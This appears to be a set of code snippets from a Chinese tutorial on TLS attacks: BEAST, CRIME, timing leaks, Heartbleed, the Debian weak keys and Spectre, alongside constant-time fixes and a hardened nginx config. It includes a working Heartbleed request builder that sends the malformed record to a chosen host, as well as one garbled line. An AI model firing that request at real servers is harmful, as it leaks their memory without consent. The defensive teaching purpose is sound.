1
def beast_guess_byte(target_byte, prev_cipher_block, known_prefix, guess):
2
    """构造猜测明文，使得加密结果可预测"""
3
    crafted_plaintext = guess ^ prev_cipher_block[0] ^ target_byte
4
    return crafted_plaintext
5
for guess in range(256):
6
    crafted = beast_guess_byte(cookie_byte, prev_block, prefix, guess)
7
    if check_ciphertext_match(crafted):
8
        print(f"Cookie 字节恢复: {chr(guess)}")
9
        break

1
import zlib
2
def compress_length(data: bytes) -> int:
3
    """返回压缩后的长度"""
4
    return len(zlib.compress(data))
5
secret_cookie = "session=Aj3xK9mP"
6
known = ""
7
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
8
for pos in range(len(secret_cookie)):
9
    best_char = ""
10
    best_len = float('inf')
11
    for c in charset:
12
        guess = known + c
13
        crafted = f"Cookie: {guess}\r\nX-Attacker: {guess}".encode()
14
        length = compress_length(crafted)
15
        if length < best_len:
16
            best_len = length
17
            best_char = c
18
    known += best_char
19
    print(f"位置 {pos}: 猜测 = {best_char}, 已恢复 = {known}")

1
import time
2
import hmac
3
def tls_cbc_decrypt_and_verify(key, iv, ciphertext, mac_key):
4
    """TLS CBC 解密 + MAC 验证（不安全实现）"""
5
    plaintext = aes_cbc_decrypt(key, iv, ciphertext)
6
    padding_len = plaintext[-1]
7
    padding_valid = all(b == padding_len for b in plaintext[-padding_len-1:])
8
    if not padding_valid:
9
        return None  # ← 时间差异！
10
    data = plaintext[:-padding_len - mac_length]
11
    mac_received = plaintext[-mac_length:-padding_len-1] if padding_len > 0 else plaintext[-mac_length:]
12
    mac_computed = hmac.new(mac_key, data, 'sha256').digest()
13
    if mac_received != mac_computed:
14
        return None  # ← 时间差异！
15
    return data

1
// OpenSSL 1.0.1 中的漏洞代码（简化）
2
// 文件: ssl/d1_both.c 和 ssl/t1_lib.c
3
int dtls1_process_heartbeat(SSL *s, unsigned char *p, unsigned int length)
4
{
5
    unsigned char *pl = p;           // 指向 heartbeat 有效载荷
6
    unsigned short hbtype;           // heartbeat 类型
7
    unsigned int payload;            // 声明的有效载荷长度
8
    unsigned int padding = 16;       // 最小填充
9
    hbtype = *pl++;                  // 读取类型
10
    n2s(pl, payload);               // 读取声明的长度（攻击者可控！）
11
    pl = p + 3;                     // 指向实际有效载荷
12
    // 没有验证 payload <= length - 3！
13
    unsigned char *buffer = OPENSSL_malloc(1 + 2 + payload + padding);
14
    unsigned char *bp = buffer;
15
    *bp++ = TLS1_HB_RESPONSE;       // 响应类型
16
    s2n(payload, bp);               // 写入长度
17
    // 从 pl 复制 payload 字节，但 pl 实际可能只有 1 字节！
18
    memcpy(bp, pl, payload);         // 越界读取！读取服务器内存
19
    return 1;
20
}

1
// 修复后的代码（OpenSSL 1.0.1g）
2
int dtls1_process_heartbeat(SSL *s, unsigned char *p, unsigned int length)
3
{
4
    unsigned char *pl = p;
5
    unsigned short hbtype;
6
    unsigned int payload;
7
    unsigned int padding = 16;
8
    hbtype = *pl++;
9
    n2s(pl, payload);
10
    // 验证声明长度不超过实际消息长度
11
    if (1 + 2 + payload + 16 > length) {
12
        return 0;  /* silently discard */
13
    }
14
    pl = p + 3;
15
    unsigned char *buffer = OPENSSL_malloc(1 + 2 + payload + padding);
16
    unsigned char *bp = buffer;
17
    *bp++ = TLS1_HB_RESPONSE;
18
    s2n(payload, bp);
19
    memcpy(bp, pl, payload);  // 现在安全：payload 已验证
20
    return 1;
21
}

1
import struct
2
import socket
3
def construct_heartbeat_request(payload_size=65535):
4
    """构造恶意 Heartbeat 请求"""
5
    # Version = TLS 1.0 (0x0301)
6
    heartbeat_type = b'\x01'           # Request
7
    payload = b'\x00'                  # 1 字节实际载荷
8
    payload_length = struct.pack('>H', payload_size)  # 声明 65535 字节
9
    heartbeat_message = heartbeat_type + payload_length + payload
10
    record_length = struct.pack('>H', len(heartbeat_message))
11
    tls_record = b'\x18\x03\x01' + record_length + heartbeat_message
12
    return tls_record
13
def check_heartbleed(host, port=443):
14
    """检测目标是否受 Heartbleed 影响"""
15
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16
    sock.settimeout(5)
17
    try:
18
        sock.connect((host, port))
19
        sock.send(construct_heartbeat_request())
20
        response = sock.recv(65535 + 5)
21
        if len(response) > 10:
22
            print(f"[!] {host}:{port} 可能受 Heartbleed 影响！")
23
            return True
24
        else:
25
            print(f"[] {host}:{port} 不受 Heartbleed 影响")
26
            return False
27
    except Exception as e:
28
        print(f"[-] 检测失败: {e}")
29
        return False
30
    finally:
31
        sock.close()

1
// Debian 修改前的 OpenSSL 代码（md_rand.c）
2
// 这段代码将不确定的堆栈数据混入随机状态
3
static void ssleay_rand_add(const void *buf, int num, double add_entropy)
4
{
5
    // ...
6
    for (i = 0; i < num; i++) {
7
        md_buf[0] = buf[i];         // 来自调用者的数据
8
        md_buf[1] = (unsigned char)(local_lock);  // 不确定数据
9
        // Debian 补丁移除了下面这行：
10
        // md_buf[2] = (unsigned char)(local_md[0]); // ← 被移除！
11
        // md_buf[3] = (unsigned char)(local_md[1]); // ← 被移除！
12
        // ...
13
    }
14
}

1
import itertools
2
possible_pids = range(1, 32768)  # Linux PID 最大 32768
3
def generate_all_weak_keys():
4
    """预计算所有可能的弱密钥"""
5
    weak_keys = {}
6
    for pid in possible_pids:
7
        seed = pid  # 实际种子仅来自 PID
8
        key = derive_key_from_seed(seed)
9
        weak_keys[key.public_key()] = key
10
    return weak_keys

1
def verify_mac(expected, actual):
2
    for a, b in zip(expected, actual):
3
        if a != b:
4
            return False  # 第一个不匹配就返回 → 时间泄露位置
5
    return len(expected) == len(actual)
6
def verify_mac_safe(expected, actual):
7
    if len(expected) != len(actual):
8
        return False
9
    result = 0
10
    for a, b in zip(expected, actual):
11
        result |= ord(a) ^ ord(b)  # XOR，总是比较所有字节
12
    return result == 0

1
import hmac
2
import time
3
def timing_attack_vulnerable_compare(a: bytes, b: bytes) -> bool:
4
description: "    """不安全的逐字节比较——时间泄露不匹配位置"""
5
    if len(a) != len(b):
6
        return False
7
    for x, y in zip(a, b):
8
        if x != y:
9
            return False  # 短路返回！时间与匹配前缀长度成正比
10
    return True
11
def attack_hmac_byte_by_byte():
12
    """逐字节恢复 HMAC"""
13
    target_hmac = b'\x3a\xf7\x2b\x1c'  # 假设这是正确的 HMAC（简化为4字节）
14
    recovered = b''
15
    for pos in range(len(target_hmac)):
16
        best_byte = 0
17
        best_time = 0
18
        for guess in range(256):
19
            crafted = recovered + bytes([guess]) + b'\x00' * (len(target_hmac) - pos - 1)
20
            start = time.perf_counter_ns()
21
            timing_attack_vulnerable_compare(crafted, target_hmac)
22
            elapsed = time.perf_counter_ns() - start
23
            if elapsed > best_time:
24
                best_time = elapsed
25
                best_byte = guess
26
        recovered += bytes([best_byte])
27
        print(f"位置 {pos}: 恢复字节 0x{best_byte:02x}")
28
    return recovered

1
def aes_t_table_access_time(plaintext_byte, key_byte):
2
    """模拟 T-table 访问时间"""
3
    index = plaintext_byte ^ key_byte  # S-box 输入
4
    pass
5
import subprocess
6
def check_aes_ni():
7
    """检查系统是否支持 AES-NI"""
8
    result = subprocess.run(['grep', 'aes', '/proc/cpuinfo'],
9
                          capture_output=True, text=True)
10
    if 'aes' in result.stdout:
11
        print(" 支持 AES-NI，不受缓存时序攻击影响")
12
    else:
13
        print(" 不支持 AES-NI，可能受缓存时序攻击影响")

1
import time
2
array1_size = 16
3
array1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]
4
array2 = [0] * 256 * 512  # 探测数组，用于 Flush+Reload
5
secret = b"SECRET_KEY"
6
def spectre_v1_demo(malicious_index):
7
    """Spectre v1 简化演示"""
8
    for _ in range(100):
9
        index = 0  # 合法索引，训练分支预测为"进入 if"
10
        if index < array1_size:
11
            value = array2[array1[index] * 512]  # 访问探测数组
12
    index = malicious_index  # 越界索引！
13
    if index < array1_size:  # 分支预测器猜"进入"，投机执行
14
        value = array2[array1[index] * 512]  # 投机执行越界读取！
15
    for i in range(256):
16
        start = time.perf_counter_ns()
17
        _ = array2[i * 512]
18
        elapsed = time.perf_counter_ns() - start
19
        if elapsed < 100:  # cache hit → 这是被投机执行访问的项
20
            return i
21
    return None

1
git clone https://github.com/drwetter/testssl.sh.git
2
cd testssl.sh
3
./testssl.sh example.com
4
./testssl.sh --heartbleed example.com     # Heartbleed
5
./testssl.sh --robot example.com           # ROBOT
6
./testssl.sh --poodle example.com          # POODLE
7
./testssl.sh --crime example.com           # CRIME
8
openssl s_client -connect example.com:443 -ssl3    # SSL 3.0（应失败）
9
openssl s_client -connect example.com:443 -tls1    # TLS 1.0（应失败）
10
openssl s_client -connect example.com:443 -tls1_2  # TLS 1.2（应成功）
11
openssl s_client -connect example.com:443 -tls1_3  # TLS 1.3（应成功）

1
def unsafe_compare(a, b):
2
    if len(a) != len(b):
3
        return False
4
    for i in range(len(a)):
5
        if a[i] != b[i]:
6
            return False  # 时间泄露不匹配位置
7
    return True
8
def safe_compare(a, b):
9
    if len(a) != len(b):
10
        return False
11
    result = 0
12
    for i in range(len(a)):
13
        result |= a[i] ^ b[i]
14
    return result == 0
15
def unsafe_modexp(base, exp, mod):
16
    result = 1
17
    for bit in bin(exp)[2:]:
18
        result = (result * result) % mod
19
        if bit == '1':  # 分支依赖密钥位！
20
            result = (result * base) % mod
21
    return result
22
# 安全：常数时间模幂（使用平方-乘法，无分支）
23
def safe_modexp(base, exp, mod):
24
    result = 1
25
    for bit in bin(exp)[2:]:
26
        result = (result * result) % mod
27
        # 无论 bit 是 0 还是 1，都执行乘法
28
        temp = (result * base) % mod
29
        # 常数时间选择：bit=1 选 temp，bit=0 选 result
30
        mask = -(bit == '1')  # bit=1 → mask=0xFFFFFFFF，bit=0 → mask=0
31
        result = (result & ~mask) | (temp & mask)
32
    return result

1
# Nginx 安全 TLS 配置（防御已知攻击）
2
server {
3
    listen 443 ssl http2;
4

5
    # 仅允许 TLS 1.2 和 TLS 1.3（防御 POODLE/BEAST）
6
    ssl_protocols TLSv1.2 TLSv1.3;
7

8
    # 仅允许强加密套件（防御 CRIME/FREAK/Logjam）
9
    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
10

11
    # 服务器偏好（防御客户端降级）
12
    ssl_prefer_server_ciphers on;
13

14
    # 禁用 TLS 压缩（防御 CRIME）
15
    # OpenSSL 1.0.2+ 默认禁用，但显式声明更安全
16
    ssl_compression off;
17

18
    # OCSP Stapling
19
    ssl_stapling on;
20
    ssl_stapling_verify on;
21

22
    # HSTS（防御降级攻击）
23
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
24
}